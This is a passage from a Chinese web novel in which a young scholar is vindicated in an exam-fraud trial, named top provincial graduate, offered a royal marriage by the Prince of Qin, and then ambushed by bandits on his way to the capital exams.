而主考官张大人正在官邸用早饭,听闻属下惊惶通报,说府外有王府钦差求见时,差点被一口热粥噎住。当他衣冠不整地迎到前厅,看到被两名护卫押解、面如死灰的邢大人,和李钦差手中那份由皇帝亲批、授权秦王彻查此案的密旨时,他只觉天旋地转,双腿一软,瘫倒在太师椅上。 自己治下,竟然发生了如此惊天动地的科场大案! 而他,作为名义上的主考官,竟被属下蒙在鼓里,毫不知情!一股刺骨的寒气从脚底直冲天灵盖,他知道,自己的仕途,彻底完了。 “钦差大人……下官……下官有罪啊!”张大人涕泪横流,哀嚎声充满了绝望。 消息在短短一个时辰内传遍了庐州府的每一个角落,满城哗然! 那些原本对榜单心存疑虑的落榜士子,此刻如同在无尽的黑暗中看到了第一缕曙光,纷纷涌向府衙门口,议论声、叫好声、咒骂声混杂在一起,响彻云霄。 正义,虽迟但到。 城南的陈记小饭馆里,陈平川正拿着一块干净的抹布,仔细地擦拭着一张张油亮的八仙桌。 PC站点如章节文字不全请用手机访问 店里的食客,个个都伸长了脖子,唾沫横飞地讨论着这场官场大地震。 “听说了吗?那个吴子虚,还有邢大人,全被王府的人抓了!说是科举舞弊,人赃并获!” “我就说嘛!陈家这小哥儿的才学,字字珠玑,怎么可能落榜!原来是被人给黑了!” “这下好了,沉冤得雪,青天可鉴!朝廷总算还了咱们庐州读书人一个公道!” 陈平川听着这一切,脸上没有半分波澜,手上的动作也没有丝毫停顿。他将抹布在清水里洗净,用力拧干,整齐地挂在墙上,然后不急不缓地走到柜台后,拿起了那把被他盘得温润光滑的算盘。 外面是翻天覆地的喧嚣,是正义降临的狂欢。而他,只是安静地拨动着算珠,为家里赚钱。 一个与他相熟的激动书生满脸涨红地冲进店里,对他大声喊道:“平川!平川!钦差大人来了!我们的卷子,要重评了!” 陈平川抬起头,迎着对方兴奋的目光,露出一贯温和的笑容,仿佛在说一件再寻常不过的事。 “知道了,先坐,要吃点什么?今天我请客。” PC站点如章节文字不全请用手机访问 第88章 证据确凿,革去功名,读书人的死刑! 庐州府衙门前,黑压压的人群如潮水般涌来。 “威——武——” 堂威自两排皂衣衙役的胸膛中滚滚而出,声浪撞击着梁柱,回荡不休。 钦差李大人端坐于高堂之上,一身蟒服,面容古井无波,唯有一双眼睛,锐利得仿佛能洞穿人心。 而在他旁边,秦王表情威严地端坐,冷冷第看着堂下跪着的几个人。 邢大人、吴子虚及几名涉案小吏,如一排被霜打的茄子,瘫跪在冰冷的地面上。 惊堂木“啪”地一声脆响,如同一记重锤,狠狠砸在每个人的心尖。 李钦差缓缓拿起一份卷宗,那动作不急不缓。 目光如刀,缓缓扫过堂下众人,最终定格在邢大人身上。 “邢东海,身为乡试副主考官,食朝廷俸禄,掌抡才大典,却收受贿赂,颠倒黑白,你可知罪?” 声音清晰,如寒冰刺骨。 邢大人本就惨白如金纸的脸,此刻更是血色尽失。他浑身筛糠般抖动着,连日来的噩梦在此刻化为狰狞的现实,彻底击溃了他最后一道心理防线。 “下官……下官知罪!知罪啊!”他猛地一个头磕在地上,额头与青石板相撞,发出沉闷的“咚”声。 他声音嘶哑,带着哭腔,“钦差大人明鉴!下官是一时糊涂,是受了这……这吴子虚的蒙骗与利诱啊!” 他猛地扭过头,一根因恐惧而颤抖的手指,直直指向身旁的吴子虚。 “是他!就是他!他用重金和昔日家父对我的恩情来逼迫下官!让下官务必将那陈平川的卷子黜落,换上他门生的!所有事,都是他一手策划的!下官……下官也是被逼无奈啊!” 狗咬狗的戏码,让外面的百姓听得津津有味。 吴子虚的脸色煞白如纸,但他几十年的养气功夫尚在。他强行挺直了跪着的上身,昂起那颗平日里高傲的头颅,试图维持最后的体面。 “钦差大人,此乃血口喷人!”他声音虽有些发颤,但依旧条理清晰,“邢大人为求自保,竟攀咬于我!我与他不过是文会上的泛泛之交,何来威逼利诱之说?” “大人,此案疑点重重!许是有人,因乡试落榜而心生怨怼,故而编造谎言,挾私报复!请大人明察,万莫被一黄口小儿的片面之词所蒙蔽!” 虽然他没明说是陈平川举报自己,但却暗戳戳地指向陈平川。 没错,他试图将水搅浑,将自己塑造成一个被构陷的受害者。 李钦差嘴角勾起冰冷的弧度,仿佛听到了天大的笑话。他冷哼一声,将另一份卷宗重重掷于堂前,纸张散落一地。 “死到临头,还敢在此巧言令色!来人,将人证物证呈上来!” 几封密信被当堂展示,信中字字句句,皆是吴子虚与邢大人商议如何操作的龌龊言语。 紧接着,城中钱庄的掌柜和几名传递消息的小吏,被衙役押了上来。 “吴先生……事到如今,您……您就认了吧!”钱庄掌柜双腿发软,哆哆嗦嗦地指认道,“您在我们钱庄兑换的那一箱金条,小的亲自送往了邢大人的府上啊!” “是啊!”一名小吏涕泪横流,哭丧着脸,“吴先生当初是如何与我们说的?说事成之后,少不了我们的好处!我们……我们也是一时鬼迷了心窍啊!” 同党的反水,证人的指认,白纸黑字的罪证,彻底击碎了吴子虚的侥幸。 他看着那些曾经对自己点头哈腰、阿谀奉承的人,此刻都成了将他推向深渊的催命恶鬼。 PC站点如章节文字不全请用手机访问 他浑身的力气仿佛被瞬间抽空,脸上倨傲之色褪尽,只剩下死灰般的绝望。 他输了,输得一败涂地,输得体无完肤。 “肃静!”李钦差再次拍下惊堂木,堂上顿时鸦雀无声。 他请示旁边的秦王,秦王缓缓点头。 李钦差站起身,目光如炬,声音如洪钟,响彻整个府衙内外,传到每一个人的耳中。 “本案事实清楚,证据确凿,现当堂宣判!” “副主考官邢文海,徇私枉法,玷污科举神圣,革职查办,流放三千里,即刻押解!” “吴子虚,心思歹毒,贿赂考官,败坏科场风气,实乃读书人之耻!着即革除其秀才功名,永不录用!家产充公,以儆效尤!” “其余从犯,视其罪行,分别杖责二十、三十,罚俸一年!” “革除功名……永不录用……” 这八个字,如同一道惊雷,直直劈在吴子虚的头上。 功名,是读书人一生的追求,是身份的象征,是傲骨的源泉。 革除功名,永不录用,这比杀了他,更让他痛苦万分。 他几十年的寒窗苦读,他引以为傲的才名,他赖以为生的光环,在这一刻,尽数化为齑粉,化为泡影。 “不……” 一声嘶吼从吴子虚喉咙里挤出,他双眼圆瞪,布满血丝,随即整个人如同被抽去了骨头,软软地瘫倒在地,像一滩无人问津的烂泥。 判决传出,堂外围观的士子与百姓,先是死一般的寂静,随即爆发出雷鸣般的议论与欢呼。 “苍天有眼!这种败类,就该是这个下场!” “革得好!总算还了我们庐州文坛一个清净!” 百姓们无不拍手称快,学子们更是连声叫好。 人群的喧嚣中,陈平川默默地看着这一切。 从始至终,他的脸色都平静得像一个置身事外的看客。 他想要的,从来不是将谁踩在脚下,而仅仅是这科举之路,能给天下寒门一个公平竞争的机会。 他所捍卫的,是规则,是秩序,是这个王朝选贤任能的根本。 “带走!” 衙役上前,粗暴地将失魂落魄的吴子虚从地上拖拽起来。 被押下大堂的那一刻,吴子虚的目光穿过攒动的人头,落在陈平川身上。 麻木的表情忽然生动起来,浮现出怨毒与悔恨。 他恨陈平川毁了他的一切。 可他更恨自己,为何没有调查清楚? PC站点如章节文字不全请用手机访问 这陈平川,竟然能惊动秦王来调查! 一步踏错,满盘皆输。 他张了张嘴,似乎想嘶吼些什么,最终却什么都没有说出来,被衙役无情地拖了出去,消失在刺目的阳光里。 PC站点如章节文字不全请用手机访问 第89章 陈平川登顶解元,大伯又绷不住了 主考官张大人站在堂下,官袍早已被冷汗浸透,像一层湿冷的皮肤紧紧贴在后背。 他看着被拖拽出去、状如一滩烂泥的吴子虚,又望向面如死灰、被革职查办的邢文海,一种劫后余生的感觉让他长长松口气。 不过,多年为官的经验,告诉他必须做点什么,将功补过! 他猛地转向端坐的李钦差和秦王,躬身一揖到底:“下官失察,罪该万死!下官……下官这就亲自带人,将所有落榜试卷重新审阅,一字一句,绝不敢再有半点疏漏!” 秦王威严的目光在他身上停留了片刻,才微微颔首,算是应允。 …… 府衙后堂,灯火通明,几个被临时抽调来的老吏和考官埋首于卷宗之中,神情肃穆,不敢有丝毫懈怠。 屋子里,只剩下翻动纸张的“沙沙”声和烛火偶尔爆开的“噼啪”轻响,时间在每个人的心跳声中被拉得无比漫长。 张大人亲自坐镇,一杯杯浓茶灌下去,暂时驱赶了困意。 “还没找到吗?”他有些烦躁地问道。 他必须找到那份卷子,那份能让秦王都亲自过问的科举试卷。 不知过了多久,就在他眼皮打架,几乎要被倦意吞噬时—— “大人!大人您快来看!”一个须发皆白的老考官猛地站了起来,仿佛发现了稀世珍宝。 张大人一个激灵,三步并作两步冲了过去。 试卷的卷头,被朱笔恶意划下的“下下”评级旁,赫然是“陈平川”三个清隽的字。 他一把夺过卷子,目光急切地落在策论之上。 只看了几行,他的手便开始微微颤抖。 那不是紧张,而是震撼! “……与其授人以鱼,不如授人以渔。赈灾之根本,非在分粮,而在兴业。当以工代赈,寓救于兴,开山修路,疏浚河道,既解灾民燃眉之急,又为地方百代之利……” 见解之独到,论据之翔实,文笔之老练,哪里像是一个初次应试的十二岁少年! 这字字珠玑,句句铿锵,分明是浸淫经义数十载、胸怀天下的大儒手笔! “好!好一个‘以工代赈,寓救于兴’!” 张大人一掌重重拍在桌案上,震得茶杯嗡嗡作响。 这一掌,既是压抑不住的赞叹,更是痛心疾首的懊悔,“如此经天纬地之才,竟险些被埋没!若非奸人作祟,此子必是本届魁首!必是解元之才啊!” 数日之后,庐州府贡院之外,人山人海,比上次放榜之日还要拥挤百倍。 科场舞弊案的惊天内幕早已传遍大街小巷,成了百姓们茶余饭后最津津乐道的传奇。 今日,他们伸长了脖子,要亲眼见证这桩案子最终的结果,见证何为天理昭彰。 人群之中,罗氏紧紧攥着陈仲和的手,手心全是黏腻的汗。 陈仲和同样紧张,嘴唇紧抿成一条线,目光一瞬不瞬地盯着那扇朱红色的贡院大门。 陈平玉被母亲拉着,黑葡萄似的大眼睛好奇地看着周围攒动的人头。 PC站点如章节文字不全请用手机访问 张盛财挺着他那标志性的大肚子,像座山一样挤在他们身旁,为一家人挡开推搡的人潮。 “我说平川贤侄,”他嗓门洪亮,引来周围人的侧目:“你就放一百二十个心!那帮贼人都下大狱了,你的真本事,不会被埋没的!” 张金宝在一旁连连点头:“就是!大哥你肯定行!必须行!” 一旁的方先生捻着胡须,那张总是云淡风轻的老脸上,此刻也写满了紧张与期待。 “开门了!放榜了!”不知是谁吼了一声。 “吱呀——” 那扇承载了无数人命运的贡院大门缓缓打开,数名衙役走出,动作庄重地将一张巨大的皇榜张贴在墙上。 所有人的呼吸都在这一刻停滞,无数双眼睛齐刷刷地望过去,寻找自己的名字。 榜单的最顶端醒目的位置,钦差大人朱笔批红的字迹,在阳光下鲜红夺目。 赫然是几个大字: 解元,陈平川! 其后,还附有李钦差对此案的说明,用词严厉地痛斥了邢文海与吴子虚的舞弊行径,并对陈平川的才学大加褒奖,称其“有经天纬地之才,为国之栋梁,其文可安邦,其心可为民”。 短暂的宁静后,人群轰然炸开! “解元!陈平川中了解元!” “天哪!果然是天才!我就说嘛,没有真才实学,能当上案首?” “苍天有眼!拨乱反正!我们庐州府出了个十二岁的少年解元啊!” 欢呼声、议论声、赞叹声,汇成一股巨大的声浪,几乎要将贡院的屋顶掀翻。 而在人群的另一边,罗氏在听到儿子第一名的那一刻,腿一软,若不是陈仲和及时扶住,险些瘫倒在地。 她死死捂住自己的嘴,不让哭声溢出,可那压抑了太久的眼泪却像断了线的珠子,滚滚而下。 不是悲伤,是喜悦,是激动。 当初陈平川被人污蔑的时候,她就憋着一口气,现在终于扬眉吐气了! 陈仲和也红了眼眶,一个劲地用他那粗糙的大手,一下一下地拍着儿子的肩膀,喉头哽咽,激动得一个字也说不出来。 “哥哥上榜啦!哥哥上榜啦!”陈平玉最是单纯,拍着小手,开心地叫着。 “中了!中了!我就说吧!哈哈哈哈!”张盛财爆发出震天的大笑,他一把搂过陈仲和的肩膀,激动地摇晃着,“老哥!今晚!迎仙楼我包下来!不醉不归!为咱们的解元公庆贺!” 张金宝更是兴奋得无以复加,他冲上去,一把抱住陈平川的肩膀,兴奋地对众人大喊: “大哥中解元了!我大哥是解元公!” 方先生老泪纵横,他看着被众人簇拥的弟子,欣慰地捻着胡须,连说三个好字。 张静姝站在一旁,小脸绷得紧紧的,努力装出一副“这有什么了不起”的傲娇样子。 可当她看到陈平川腰间的荷包时,嘴角开始上翘,眼睛闪烁着璀璨星光。 她偷偷看了一眼人群中的陈平川,哼了一声,用只有自己能听见的声音嘀咕:“要不是我的平安荷包给你带来了好运,你才考不上呢!” PC站点如章节文字不全请用手机访问 面对这泼天的富贵与荣耀,陈平川却平静得不像一个十二岁的孩子。 他走到几乎要哭虚脱的母亲身边,轻轻扶住她,低声安慰。 对于陈平川来说,解元不过是第一步,他还要考状元,做首辅,指点江山! “走走走!”张盛财的大嗓门再次响起,他大手一挥,揽住陈仲和的肩膀,中气十足地喊道,“都别在这儿杵着了!去迎仙楼!今天我张某人请客,全城最好的酒菜,管够!” 就在这时。 “不!不可能!假的!这都是假的!” 一声凄厉的嘶吼,竟然盖过了众人的议论,大家都望过去。 只见贡院旁边的棚子里,一个戴着沉重木枷,形容枯槁的囚犯在大吼大叫。 陈仲文瞪着一双血红的眼睛,脸上肌肉扭曲,状若疯魔。 “陈平川作弊!一个放牛娃,一个十二岁的黄口小儿,怎么可能中解元!一定是他贿赂了考官,他们官官相护!官官相护啊!” 他疯狂地挣扎着,沉重的木枷撞在青石板上砰砰作响。 “闭嘴!” 衙役毫不留情的一鞭子狠狠抽在他背上,带起一道血痕。 陈仲文发出一声野狗般的惨叫。 “再敢胡言乱语,污蔑钦差大人和新科解元,再赏你十鞭子!” 那火辣的剧痛让陈仲文安静下来,他只是呆呆地跪在地上,像一条被打断了脊梁的丧家之犬,口中不断喃喃着“不可能……不可能……” …… 少年解元,扳倒科场巨蠹。 陈平川这个名字,在一天之内,传遍了庐州府的每一个角落,成了所有茶馆酒肆里最热门的话题。 一时间,陈家那个简陋的小饭馆前,车水马龙。 各路乡绅名流、官员学子的拜帖和贺礼,如雪片般飞来,很快堆满了陈平川的案头。 其中,最重磅的一份,来自秦王府。 秦王不仅派人送来了厚礼,还亲笔写了一封贺信,言辞间满是欣赏与期许。 此刻,秦王府内,水榭亭台。 郡主正临窗描摹一幅山水,听闻陈平川中了解元的喜讯,她的唇边,漾开了一抹极浅极淡的笑意,转瞬即逝。 这一切,都被一旁悠然品着茶的秦王看在眼里,他抚须微笑,意味深长。 PC站点如章节文字不全请用手机访问 第90章 秦王抛来橄榄枝,是天降富贵还是泰山压顶? 张盛财今日一掷千金,将庐州府最阔气的酒楼,整个包了下来。 鲜红的地毯,从大堂门口一直铺到了街对面的青石板上。 流水席连开三日,只为庆贺庐州府新出的这位十二岁解元公——陈平川。 满城的头脸人物,无论真心假意,此刻都挤在这雕梁画栋的大堂里。 空气中弥漫着浓郁的酒香、菜肴的芬芳和人们高声谈笑的喧嚣,灯笼的光晕将每个人的脸都映得红光满面。 酒过三巡,菜过五味,庐州知府端着酒杯,亲自离席,走到陈平川这一桌。 他脸上挂着如春风般和煦的笑,看着眼前这个尚带着稚气的少年,竟是用了平辈论交的姿态,丝毫不见官威。 “平川年少有为,文才斐然,实乃我庐州之幸,亦是我大业朝之幸!来,本府敬你一杯,预祝你来年春闱,再攀高峰,蟾宫折桂,为我庐州府再添一笔浓墨重彩!” 陈平川闻言起身,双手举杯,乌黑的眼眸沉静如水。他将杯沿放得比对方低了半分,姿态谦逊:“大人谬赞,学生愧不敢当。能有今日,全是恩师教诲有方,秦王殿下明察秋毫。学生唯有勤勉二字,方不负大人与殿下的期许。” 一杯酒下肚,知府脸上的笑意更深,又温言勉励了几句,随即话锋一转,声音压低了些许,带着一丝亲近的意味:“若春闱之后,有什么打算,不妨与本府通个气。本府在京中也有些故交旧友,或可为你引荐一二,铺一铺路。” 这已是明晃晃的示好与拉拢,陈平川哪里听不出来? 不远处,几个文山书院的学子,端着酒杯,面面相觑,脚步踌躇着不敢上前。 曾几何时,他们眼中那个身份低微的小书童,如今已是他们需要仰望的存在。 嫉妒、轻视早已被解元功名碾得粉碎,只剩下敬畏与羞惭。 整个宴会之上,最春风得意的,莫过于被奉为主宾的方先生。他被安排在最尊贵的席位,身边围满了前来恭维的地方名儒。 “方先生真是慧眼识珠!竟能教出如此惊才绝艳的麒麟之才!” “是啊,我早就说过,方先生的学问,那才是真正的经世致用之学!” 方先生捻着他那几根胡须,那张平日里不苟言笑的刻板老脸,此刻笑得像一朵迎风盛开的菊花。 他嘴上连连谦虚着“是这孩子自己争气,有悟性”,可那双眼睛里的骄傲与欣慰,却怎么也藏不住。 角落里,罗氏穿着一身崭新的锦缎衣裳,料子光滑得让她手脚都不知道该往哪儿放。 她有些局促地拉着丈夫陈仲和的衣袖,看着被各路大人物如众星拱月般围在中央的儿子,听着耳边一句句毫不掩饰的赞美,眼眶渐渐就红了。 半生操劳,受尽冷眼,所有的委屈与辛酸,在这一刻,都化作了滚烫的喜悦,在胸口翻腾。 “哥哥不光读书厉害,他什么都懂!” 陈平玉拉着张静姝的手,小声地,却又无比自豪地向自己最好的朋友宣布。 不知何时,这两个小姑娘已成了无话不谈的闺中密友。 在陈平玉面前,张静姝放下了傲娇的伪装,用力地点了点头,一双明亮的杏眼始终没有离开过陈平川的身影。 宴席的喧嚣中,更有人扯着嗓子高声打探。 “张大老板!你家这《西游记》的画册,什么时候出第五卷啊?解元公如今高中,这画册不得卖疯了去?” 张盛财正喝得满面红光,他挺着滚圆的肚子,笑得见牙不见眼。他蒲扇般的大手一挥,遥遥指向陈平川的方向,嗓门洪亮:“那得问咱们的解元公!他才是这画册真正的作者!我老张就是个打下手的!” 满堂的喧闹与追捧,持续了整整三日。 PC站点如章节文字不全请用手机访问 宴席散尽,陈家小院的门槛,却才开始经受考验,几乎要被各路访客踏破。 烫金的红帖与琳琅满目的贺礼堆成了小山,罗氏开始犯愁,往哪里放。 夜深,灯下。 陈平川一家人坐在一起,一张张翻看那些拜帖。 陈平玉拿起一张,借着烛光,磕磕巴巴地念着上面的官衔:“庐……庐州盐运分司……哥哥,这是多大的官啊?” 她神情既新奇又敬畏。 “反正没有秦王大。”陈平川随口应付,他将这些帖子推到一边,语气平静。 “爹娘,这些应酬,除了几家推不掉的,咱们大多都得推了。” “为啥?人家都是好意,是看得起咱家……”罗氏不解。 陈平川眼睛里有着超乎年龄的清醒:“眼下最重要的,是静下心来,准备来年的春闱会试。功名未稳,这些人情与热闹,不过是镜花水月,风一吹就散了。” 陈仲和似懂非懂,但他觉得儿子总不会错。 就在这时,院门外传来一声响亮的通报。 “秦王府特使到——!” 陈平川一家人心中一凛,连忙起身迎了出去。 只见院中,一名身着玄色王府官服的使者,在一队披坚执锐的王府护卫的簇拥下,昂然肃立。 他神情肃穆,手中稳稳地捧着一个紫檀木的托盘,上面盖着一块明黄色的绸布,在月光下流转着尊贵的光华。 “敢问,哪位是新科解元陈平川?”特使的声音清朗而有力。 “学生便是。”陈平川上前一步,不疾不徐地拱手行礼。 特使的目光在他身上一扫,点点头: “陈解元,奉王爷之命,特来为你贺喜。” 他小心翼翼地揭开绸布,一套精致绝伦的文房四宝显露出来。 “此乃端州贡砚,湖州狼毫,徽州贡墨,宣州贡纸。王爷说,宝剑赠英雄,好笔配大才,望解元公善用之,莫负了这一身才学。” 罗氏与陈仲和哪里见过这等皇家仪仗,早已紧张得手足无措,大气都不敢出。 如果方先生在这里,看到这套传说中的贡品文房四宝时,一定会激动得胡子都在微微颤抖,这是文人梦寐以求的圣物! 特使将沉甸甸的托盘交到陈平川手中,又从怀中取出一封以火漆严密封装的信函,神情郑重地递了过去。 “此外,王爷还有一封亲笔信,嘱咐务必亲手交予解元公。” 陈平川躬身道谢:“谢王爷赏赐!” 送走特使,一家人重新回到屋内。 那套价值连城的文房四宝被罗氏小心翼翼地摆在桌上,其精美与华贵,与周围简朴的家具格格不入。 陈平川用小刀小心地挑开火漆,展开信纸。 PC站点如章节文字不全请用手机访问 秦王那遒劲有力、铁画银钩般的字迹,瞬间跃然纸上。 信中,先是对他的才华与品行大加赞赏,又勉励他戒骄戒躁,在来年的春闱中再创佳绩,将来好为国效力。 信的末尾,还有一行字,才是秦王这封书信的主要内容。 “……若卿能不负众望,金榜题名,高中状元,本王愿将小女天香郡主许配于你,以结秦晋之好。” “啪嗒!”一声脆响。 罗氏手中的茶杯脱手滑落,掉在了桌子上。 她张着嘴,又惊又喜。 当朝亲王的郡主……要许配给自己的儿子? 这……这不是天上掉馅饼,这是天上掉下来一座金山! 陈仲和也面露喜色,儿子能攀上皇室,那他们一家可就真的飞黄腾达了! 但陈平川却皱着眉头,没有半分喜色。 信纸明明很轻,此刻他却感觉重如千钧。 秦王的橄榄枝,何其诱人。 但这无上的荣耀背后,是一个再清晰不过的信号——这不是单纯的赏识,而是一份正式的邀请,邀请他,彻底加入秦王的阵营。 这与他“为生民立命”的抱负并不相悖,甚至是一条能够一步登天的捷径。 但他也清楚,这条捷径之上,必然布满了看不见的刀光剑影与政治漩涡。 这门亲事,不是奖赏,而是一份契约。一份将他陈平川的未来,与秦王府的命运,牢牢绑在一起的生死契约。 不过,这也是千载难逢的机遇! 陈平川很清楚,没有身份背景的他,仅凭满腹经纶,就想在波诡云谲的朝堂上站住脚跟,那是白日做梦。 所以,背靠秦王这棵大树,很有必要。 他缓缓将信纸叠好,放回信封。 将来的事情将来想,先顾眼下。 抬头望向自己的父母,陈平川目光平静。 “爹,娘,我要去温书了,准备明年的春闱。” PC站点如章节文字不全请用手机访问 第91章 进京赶考,运气太好,出城就劫匪 时光荏苒,如白驹过隙。距离来年春闱,仅剩下最后三个月。 庐州城冬日的寒风,卷着萧瑟之意,刮过街头巷尾。 李家院内,一派热火朝天的忙碌,将那份寒气驱散得无影无踪。 “这件夹袄的棉花我又给你絮了一层,又厚又密,京城天寒地冻的,可比咱们这儿冷多了。” 罗氏将一件崭新的靛青色直裰叠好,抚平每一丝褶皱,动作格外轻柔。 “还有这双鞋,你看,”她举起一双黑布鞋,鞋底针脚细密如织,“我给你纳了千层底,走再远的路都不怕磨脚。” 她嘴里絮絮叨叨,一刻不停,像是要把这十二年来的所有叮咛,都一次性装进行囊。 那些堆在桌上的衣物、盘缠、笔墨、干粮,每一件都经过她不厌其烦的检查与打包,饱含了一个母亲最朴素也最深沉的牵挂。 陈平川坐在一旁,安静地看着。 他知道,母亲准备的不是行囊,是一颗牵挂的心。 “娘,够了,再装下去,只怕马车都装不下了。” 看看差不多了,他拿起一块罗氏清晨刚烙好的麦饼,咬了一口,满口都是熟悉的、温暖的香气。 罗氏白了他一眼,嗔怪道:“你个小孩子家懂什么?穷家富路,出门在外,多备一些总没错。万一路上有个什么事……” 话音未落,院门外传来一阵粗犷豪迈、中气十足的大嗓门,仿佛要将屋顶掀翻。 “平川贤侄!张叔我来看你啦!” 话音刚落,张盛财那圆滚滚、如肉山般的身子便挤进了门来,满面红光,身后还跟着几个气喘吁吁、抬着沉重箱子的伙计。 “张叔,大冷天您也跑来。”陈平川笑着起身相迎。 自打他考上了解元,张盛财死活不让他再喊自己老爷,改成张叔,陈平川也就顺着他,改了口。 “哎!都是自家人,别跟叔客气!”张盛财大手在空中一挥,指着那几个朱漆描金的大箱子,“这是叔给你备的程仪,一路上吃穿用度,都挑最好的!还有,去京城的路不太平,我让商队里最稳当的王镖头,亲自带一队好手护送你!保准你安安稳稳地到京城!” 陈仲和与罗氏一听,连忙上前推辞,这礼实在太重了,他们受不起。 张盛财眼睛一瞪,佯怒道:“推什么推!我老张的半个家业,可都指着平川贤侄你这颗金贵的脑袋呢!你家小子要是路上出了半点岔子,我找谁哭去?就这么定了,谁再推辞就是瞧不起我老张!” 张金宝跟在父亲身后,与喜气洋洋的氛围格格不入,整个人都蔫蔫的。他走到陈平川身边,用鞋尖一下一下地,闷闷地踢着脚下的青石板。 “大哥,你真要去那么远啊?” “嗯,”陈平川拍了拍他的肩膀,笑道,“去考个状元回来。” 张金宝猛地抬起头,用力挺起胸膛,仿佛这样能给自己多添几分气力。“那你放心去!庐州府的生意,我帮你看着!等你当了大官,我这个当小弟的,脸上也有光!” 尽管眼眶已经憋得通红,他却努力挤出一个比哭还难看的笑脸。 几日后,天色微明,出发的时间到了。 陈家小院外,一辆宽敞舒适的马车静静停候,旁边是十几个精神抖擞、腰挎钢刀的镖师,呼出的白气在冷空气中凝成一团。 陈平川一身棉布青衫,腰间系着张静姝送给自己的翠竹的荷包,在晨光中愈发显得身姿挺拔,眉目清朗。 方先生也冒着寒气来了,他将一本封面泛黄、边角卷起的册子郑重地递到陈平川手中。 PC站点如章节文字不全请用手机访问 “这是老夫毕生珍藏的名家策论心得,上面有我的批注,你路上仔细揣摩。记住,京城水深,龙蛇混杂,务必谨言慎行,戒骄戒躁,不忘初心。” “学生谨记先生教诲。”陈平川深深一揖,行了大礼。 他与泪眼婆娑的母亲、强忍不舍的父亲,以及依依不舍的妹妹一一告别,目光却下意识地在送行的人群里扫了一圈。 张静姝没来。 一种说不清道不明的失落,如同一片羽毛,在他心湖上轻轻一拂,转瞬即逝。 “哥哥,”陈平玉似乎察觉到陈平川所想,她仰着脸,小声解释道,“静姝姐姐说她家中有事,来不了了。她让我告诉你,一路顺风。” 陈平川点点头,没再多问,转身,利落地登上了马车。 同一时刻,庐州城最大的慈安寺内,香烟缭绕,钟磬之声悠远肃穆。 张静姝独自一人,跪在冰冷的蒲团上。她褪去了一身锦衣华服,穿着素雅的衣裙,双手合十,神情是前所未有的虔诚与庄重。 她仰头望着那尊宝相庄严的泥塑金身,在心中默默许下宏愿。 “信女张静姝,诚心祈求诸天神佛、满殿菩萨保佑,愿陈平川此去京城,前路无灾,后路无险,一路平安。愿他春闱高中,金榜题名,蟾宫折桂。若此愿得成,信女……信女愿吃斋一年,诵经千遍,为他祈福还愿。” …… 马车辘辘,一路向北。 江南水乡的秀丽风景,渐渐被北地苍茫辽阔的景致取代。 官道之上,车队行进,陈平川不时能从车窗看到道旁蜷缩着的身影。那些是衣衫褴褛、面黄肌瘦的流民,他们或麻木地倚靠着枯树,或一家人挤在一起,眼神空洞得像一潭死水。 书本上冰冷的“生民之苦”四个字,从未像此刻这般,深深烙印在他的心里。 这让他“为生民立命”的念头,在胸中愈发滚烫而坚定。 商队领队的是王镖头,一个四十多岁,脸膛被风霜刻画得黝黑的汉子。 他行走江湖多年,经验老到,对这位年少沉稳的解元公很是敬佩,一路上照料得十分周到。 这日傍晚,残阳如血,天色迅速暗沉下来。 商队行至一处前不着村后不着店的偏僻山林。 王镖头看了一眼天色,眉头微不可查地皱了一下。 “今晚怕是赶不到下一个镇子了,弟兄们打起精神,前面有个驿站,大家今晚就在那歇脚,不可大意。” 那驿站十分破败,几根支撑屋檐的柱子已经开裂,仿佛随时都会垮塌,院里齐膝的杂草在晚风中摇曳,像无数只招摇的鬼手。 一个瘦小枯干的驿卒从阴影里迎了出来,看到这么大一支人强马壮的商队,神色明显有些慌张,说话也吞吞吐吐。 “客……客官,本站简陋,怕是……招待不下这么多人……” 王镖头的目光在他脸上一扫,不动声色地从怀里扔过去一锭分量不轻的银子。 “无妨,我等自带干粮,只需借个地方过夜,打搅不了多久。” 驿卒犹豫了一会,最后还是接过银子,哈着腰将众人迎了进去。 王镖头却在转身的瞬间,悄悄对手下的心腹打了个手势,示意他们晚上轮流守夜,兵器不离身。 PC站点如章节文字不全请用手机访问 他觉得,这个驿卒不正常。 陈平川坐在马车里,掀开帘子的一角,也感到气氛有些不对劲。 驿站太安静了,静得连一声犬吠、一声鸡鸣都听不到。 他默默地将一把防身的匕首,从行囊中取出,悄无声息地藏进了宽大的袖中。 夜半三更,万籁俱寂。 驿站外,骤然响起一阵由远及近、杂乱而急促的马蹄声!那声音如同滚雷,碾过沉寂的大地! 紧接着,是震天的喊杀声,撕裂了夜的宁静! “里面的人听着!识相的把财物都交出来,爷爷们兴许能饶你们不死!” PC站点如章节文字不全请用手机访问 第92章 就这智商,你也配当老大? 数十支火把的光亮瞬间将整个驿站照得如同白昼,黑压压一大群蒙面匪徒,手持明晃晃的兵刃,如潮水般将破败的驿站围得水泄不通。 王镖头立即反应,他一边安排人做好准备,一边去找那个驿卒,果然,人不见了。“保护陈公子!结阵御敌!”王镖头爆喝一声,腰间大刀瞬间出鞘,带领镖师们第一时间冲出屋子,在院中迅速结成一个防御阵型。 刀光剑影瞬间在院中交织,惨叫声、兵器碰撞的刺耳锐响、匪徒的怒骂混杂在一起,谱成一曲血腥的夜章。 王镖头的刀法大开大合,精湛狠辣,镖师们也个个都是身经百战的好手。 但匪徒实在太多,一波波涌上来,仿佛无穷无尽。 不过一炷香的功夫,镖师们便开始出现伤亡,阵型在冲击下渐渐被压缩,眼看就要抵挡不住。 驿站大堂内,同住的其他几个商旅早已吓得魂不附体,抱头鼠窜,哭喊连天。 陈平川却坐在窗边,背脊挺直,异常冷静。 他的目光锐利如刀,越过院中混战的人群,仔细观察着外面的战局。 这群匪徒人虽多,但进退之间毫无章法,配合生疏混乱,显然是一群临时凑起来的乌合之众,并非精锐。 他的视线很快锁定在驿站外一处地势稍高的土坡上。 一个身材魁梧的络腮胡大汉,并未参与冲杀,正站在那里,手持一把硕大的鬼头刀,不断挥舞着,用嘶哑的嗓音指挥手下冲锋。他的身边,只有寥寥数人护卫。 擒贼先擒王! 一个念头在他脑海中瞬间成型。 他迅速起身,穿过惊慌失措的人群,来到正浴血奋战的王镖头身边,压低声音,快速说道:“王镖头,劫匪人多,硬拼我们撑不了多久!” 王镖头一刀将一个敌人逼退半步,趁着空隙抹了把脸上的血水,急声吼道:“公子有何高见?” 陈平川的手指穿过混乱的战局,指向那处土坡。 “擒贼先擒王!” 王镖头顺着他指的方向,看到了那络腮胡大汉正挥舞着鬼头刀,催促手下冲锋。 他咬牙切齿道:“我看到了!可弟兄们都被死死缠住,根本冲不过去!” 